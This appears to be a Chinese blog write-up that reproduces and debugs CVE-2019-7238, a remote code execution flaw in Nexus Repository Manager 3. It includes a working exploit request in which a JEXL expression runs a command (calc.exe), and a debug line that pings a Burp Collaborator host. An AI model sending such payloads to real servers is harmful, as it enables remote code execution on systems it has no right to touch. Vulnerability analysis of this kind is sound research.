Nexus Repository Manager 3 RCE(CVE-2019-7238)

213 篇文章 3 订阅

参考:
https://support.sonatype.com/hc/en-us/articles/360017310793-CVE-2019-7238-Nexus-Repository-Manager-3-Missing-Access-Controls-and-Remote-Code-Execution-February-5th-2019
https://mp.weixin.qq.com/s/P1KC7wadbEZbHvavYQjbVA

影响版本:
Nexus Repository Manager OSS/Pro 3.6.2 版本到 3.14.0 版本

环境搭建:
下载
https://help.sonatype.com/repomanager3/download/download-archives—repository-manager-3
https://sonatype-download.global.ssl.fastly.net/nexus/3/nexus-3.14.0-04-unix.tar.gz

Nexus 2下载:
https://download.sonatype.com/nexus/professional-bundle/nexus-professional-2.14.13-01-bundle.tar.gz
安装参考:
https://help.sonatype.com/learning/repository-manager-3/first-time-installation-and-setup/lesson-1%3A–installing-and-starting-nexus-repository-manager
在windows上安装成功了。需要执行

nexus.exe /run

默认密码:admin/admin123

payload:

POST /service/extdirect HTTP/1.1
Host: cqq.com:8081
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Content-Type: application/json
Content-Length: 308
Connection: close

{"action":"coreui_Component","method":"previewAssets","data":[{"page":1,"start":0,"limit":25,"filter":[{"property":"repositoryName","value":"*"},{"property":"expression","value":"''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')"},{"property":"type","value":"jexl"}]}],"type":"rpc","tid":4}

关键文件通过github的diff找到了,但是没有深入分析,另外的搭建环境的坑是,这个漏洞需要有assets才能执行后续的jexl表达式。自己搭建环境的时候并没有assets,所以没有触发。在windows上搭建环境,并后台登录之后上传assets之后成功执行。
在这里插入图片描述

Mac使用docker搭建环境:
在这里插入图片描述
如果执行ping或者touch之类的,不会在log中输出,如果执行一个不存在的命令则会抛出异常:
https://pastebin.com/raw/tUFYC0yf
tips:以后可以通过这个来找到漏洞触发点或者调用流程。
Windows下:
在这里插入图片描述

复现参考:
https://www.anquanke.com/post/id/171116
https://xz.aliyun.com/t/4136

流程分析

环境搭建(启动jdwp,并在idea中进行远程调试)

在虚拟机中ubuntu-18.04-server搭建nexus运行环境,
在宿主机Mac上使用Idea与虚拟机通信。
第一步,修改nexus的配置:

vi nexus-3.14.0-04/bin/nexus.vmoptions

在默认配置的最后一行加上:
在这里插入图片描述

-Xrunjdwp:transport=dt_socket,suspend=n,server=y,address=12346

其中address=12346为指定的端口号
若默认的8081端口被占用,修改端口号:

vi etc/nexus-default.properties
# application-port=8083

注意,nexus启动的时候会把
nexus启动的log

然后启动nexus

bin/nexus run

是在前台启动;

bin/nexus start

是在后台启动,其log不会显示出来,查看log需要到:

sonatype-work/nexus3/log/nexus.log

最后这两个目录是分开的:nexus-3.13.0-01 sonatype-work。所以最好在解压出来nexus-3.13.0-01之后,再在其上增加一个目录,或者解压nexus-3.13.0-01-unix.tar.gz时就创建一个新目录。而不是直接解压到当前目录。

第二步,参考:https://stackify.com/java-remote-debugging/
去Github clone下Nexus-public源码
然后在Idea中设置如下:

Add New Configuration => Remote

在这里插入图片描述
然后修改服务器的IP和端口:
在这里插入图片描述
然后点击右上角绿色按钮,开启调试。
开启之后会建立连接:
在这里插入图片描述
第三步,使用burp构造请求。
在这里插入图片描述
把请求弄成json呈现,便于观看,可以知道,在filter的值是一个数组,数组的每个元素是一个字典,每个字典有键值对。property,value。

大致流程

首先入口是哪里,为什么是DelegatingFilter#doFilter。通过找配置文件,发现etc/jetty/jetty.xml配置文件中指定了

在这里插入图片描述
然后在nexus-web.xml中指定了任意请求对应的过滤器为:org.sonatype.nexus.bootstrap.osgi.DelegatingFilter
在这里插入图片描述
org/sonatype/nexus/coreui/ComponentComponent.groovy#previewAssets
在这里插入图片描述
只要

    if (!expression || !type || !repositoryName) {
      return null
    }

中有一个为空,则返回null了。
进入org/sonatype/nexus/repository/security/RepositorySelector.fromSelector()
在这里插入图片描述
这里有

checkNotNull(selector);

可以发现selector也不能为null(这里是*),所以进入53行的new中。
在这里插入图片描述
由于我们指定了type为jexl,所以进入198行。

jexlExpressionValidator.validate(expression)

org/sonatype/nexus/selector/JexlExpressionValidator#validate
在这里插入图片描述
进入48行,即将expression传进去,new一个org/sonatype/nexus/selector/JexlSelector
在这里插入图片描述
由于expression不为空,isNullOrEmpty(expression)返回false,所以执行

Optional.of(threadLocalJexl.get().createExpression(CALLER_INFO, expression))

在这里插入图片描述
看这句吧:

threadLocalJexl.get().createExpression(CALLER_INFO, expression)

threadLocalJexl是一个new出来的ThreadLocal<JexlEngine>对象,而且重写了initialValue()方法。
在这里插入图片描述
initialValue()方法中,调用了静态变量jexlBuilder,~/.m2/repository/org/apache/commons/commons-jexl3/3.0/commons-jexl3-3.0.jar!/org/apache/commons/jexl3/JexlBuilder#create,看看create()方法:
在这里插入图片描述
new了一个~/.m2/repository/org/apache/commons/commons-jexl3/3.0/commons-jexl3-3.0.jar!/org/apache/commons/jexl3/internal/Engine,构造器又不传参,没有仔细看,
以上就是

threadLocalJexl.get()

这句的结果,得到一个Engine对象,然后接着org/apache/commons/commons-jexl3/3.0/commons-jexl3-3.0.jar!/org/apache/commons/jexl3/internal/Engine#createExpression调用

threadLocalJexl.get().createExpression(CALLER_INFO, expression)

在这里插入图片描述
trimSource()看名字应该就只是清理了一下空格,然后payload从expression转移到了source。然后调用

ASTJexlScript tree = this.parse(info, source, (Scope)null, false, true);

//TODO

这个洞当时感觉看的有点多了,今天博哥又认真调了一波,我收博哥鼓舞,又自己回家调试了一下,才按照那个调用栈跟到了下面这些:

7月18日更新

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

contentExpression(@this, :jexlExpression, :repositorySelector, :repoToContainedGroupMap) == true

调用这一句之后

Joiner.on(" AND ").join(clauses)

然后通过这一句,在xxx外面加上了“and (xxx)”
变成

and (contentExpression(@this, :jexlExpression, :repositorySelector, :repoToContainedGroupMap) == true)

在这里插入图片描述
在这里插入图片描述
一步一步,构造sql语句
在这里插入图片描述
在这里插入图片描述
拼接完之后
在这里插入图片描述
然后进入我们关键的

List<ODocument> results = db.command(new OCommandSQL(query)).execute(parameters);

这句
在这里插入图片描述
在这里插入图片描述
com/orientechnologies/orientdb-core/2.2.36/orientdb-core-2.2.36.jar!/com/orientechnologies/orient/core/sql/OCommandSQL#OCommandSQL(String iText)
然后执行其父类构造器
其父类只是判断了一下非空,然后trim了一下
在这里插入图片描述

以上是
new OCommandSQL(query)
然后db.command(new OCommandSQL(query))
也没啥东西,
关键是后面那句

db.command(new OCommandSQL(query)).execute(parameters)

parameters才是payload啊!
在execute中
在这里插入图片描述
在这里
com/orientechnologies/orientdb-core/2.2.36/orientdb-core-2.2.36.jar!/com/orientechnologies/orient/core/sql/OCommandExecutorSQLSelect#execute
将com.orientechnologies.orient.core.command.OCommandContext中的key为jexlExpression的value设置为payload:

''.class.forName('java.lang.Runtime').getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')

在这里插入图片描述

在这里插入图片描述
然后是接着构造查询语句的其余部分
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
this.serialIterator(iTarget)中
在这里插入图片描述

进入这一行
在这里插入图片描述
com/orientechnologies/orientdb-core/2.2.36/orientdb-core-2.2.36.jar!/com/orientechnologies/orient/core/sql/OCommandExecutorSQLResultsetAbstract#filter中,前面没啥,看最后一句return语句
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

this.function.execute(iThis, iCurrentRecord, iCurrentResult, this.runtimeParameters, iContext);

其中this.function就是contentExpression()这个函数!!!
所以应该是这里判断,若没有仓库,则直接log.error然后返回false。
在这里插入图片描述
(所以如果没有仓库,就不可能有文件,因为文件是放到某个仓库下的,就直接返回false了)

在这里插入图片描述
又跟到了这里
org/sonatype/nexus/selector/JexlSelector#evaluate
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
然后就是枯燥的解析表达式了

''.class.forName('java.lang.Runtime').getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')

在这里插入图片描述

真的是跟的最深的一个漏洞!
弹计算器六个六个的弹,怀疑还有其他地方也触发了?或者是多线程的原因?
[外链图片转存失败(img-lwrD8blU-1563467646666)(https://xzfile.aliyuncs.com/media/upload/picture/20190719003339-cc30e410-a979-1.gif)]


其实没有跟完全,

DelegatingFilter#doFilter
  filter.doFilter(request, response, chain);
  //dispatch across the servlet pipeline, ensuring web.xml's filterchain is honored
  filterPipeline.dispatch(servletRequest, servletResponse, filterChain);
  ExtDirectServlet#doPost
    DirectJNgineServlet#doPost
      processRequest(request, response, type);
        processor.processJsonRequest( request.getReader(), response.getWriter() );
          new JsonRequestProcessor(this.registry, this.dispatcher, this.globalConfiguration).process(reader, writer);
            JsonRequestProcessor#process
              getIndividualJsonRequests( requestString );     #从请求中解析json字符串,然后构造出JsonObject
                
              processIndividualRequestsInThisThread(requests); #由于不是json array,所以只需在本线程中处理这个请求
             RegisteredStandardMethod method = getStandardMethod( actionName, methodName); #找到具体类的具体方法,即org.sonatype.nexus.coreui.ComponentComponent类的previewAssets方法
              执行具体的方法,并传入参数

经过一顿invokeMethods之类的,
在这里插入图片描述

终于进入了ComponentComponent.groovypreviewAssets方法。
在这里插入图片描述
//略
发现执行不止一次,这就是为什么弹计算器的时候不止一个对话框。
在这里插入图片描述
最终调用JexlSelector的evaluate方法进行的代码执行
在这里插入图片描述

调试

最终得到的sql语句为:

SELECT count(*) FROM asset WHERE (bucket = #12:2 OR bucket = #12:4 OR bucket = #12:5 OR bucket = #12:1 OR bucket = #12:3 OR bucket = #12:0 OR bucket = #12:6 ) AND (contentExpression(@this, "\'\'.class.forName(\'java.lang.Runtime\').getRuntime().exec(\'ping lyn0iwkmtpogearpxjuxtqq9k0qqef.burpcollaborator.net\')", "*", {"nuget-group": ["nuget-group"], "maven-snapshots": ["maven-snapshots", "maven-public"], "maven-central": ["maven-central", "maven-public"], "nuget.org-proxy": ["nuget.org-proxy", "nuget-group"], "maven-releases": ["maven-releases", "maven-public"], "nuget-hosted": ["nuget-hosted", "nuget-group"], "maven-public": ["maven-public"]}) == true )

参考:https://www.lucifaer.com/2019/02/19/Nexus%20Repository%20Manager%203%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%EF%BC%88CVE-2019-7238%EF%BC%89/
https://www.anquanke.com/post/id/171116
https://chybeta.github.io/2019/02/18/Nexus-Repository-Manager-3-RCE-%E5%88%86%E6%9E%90-%E3%80%90CVE-2019-7238%E3%80%91/

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值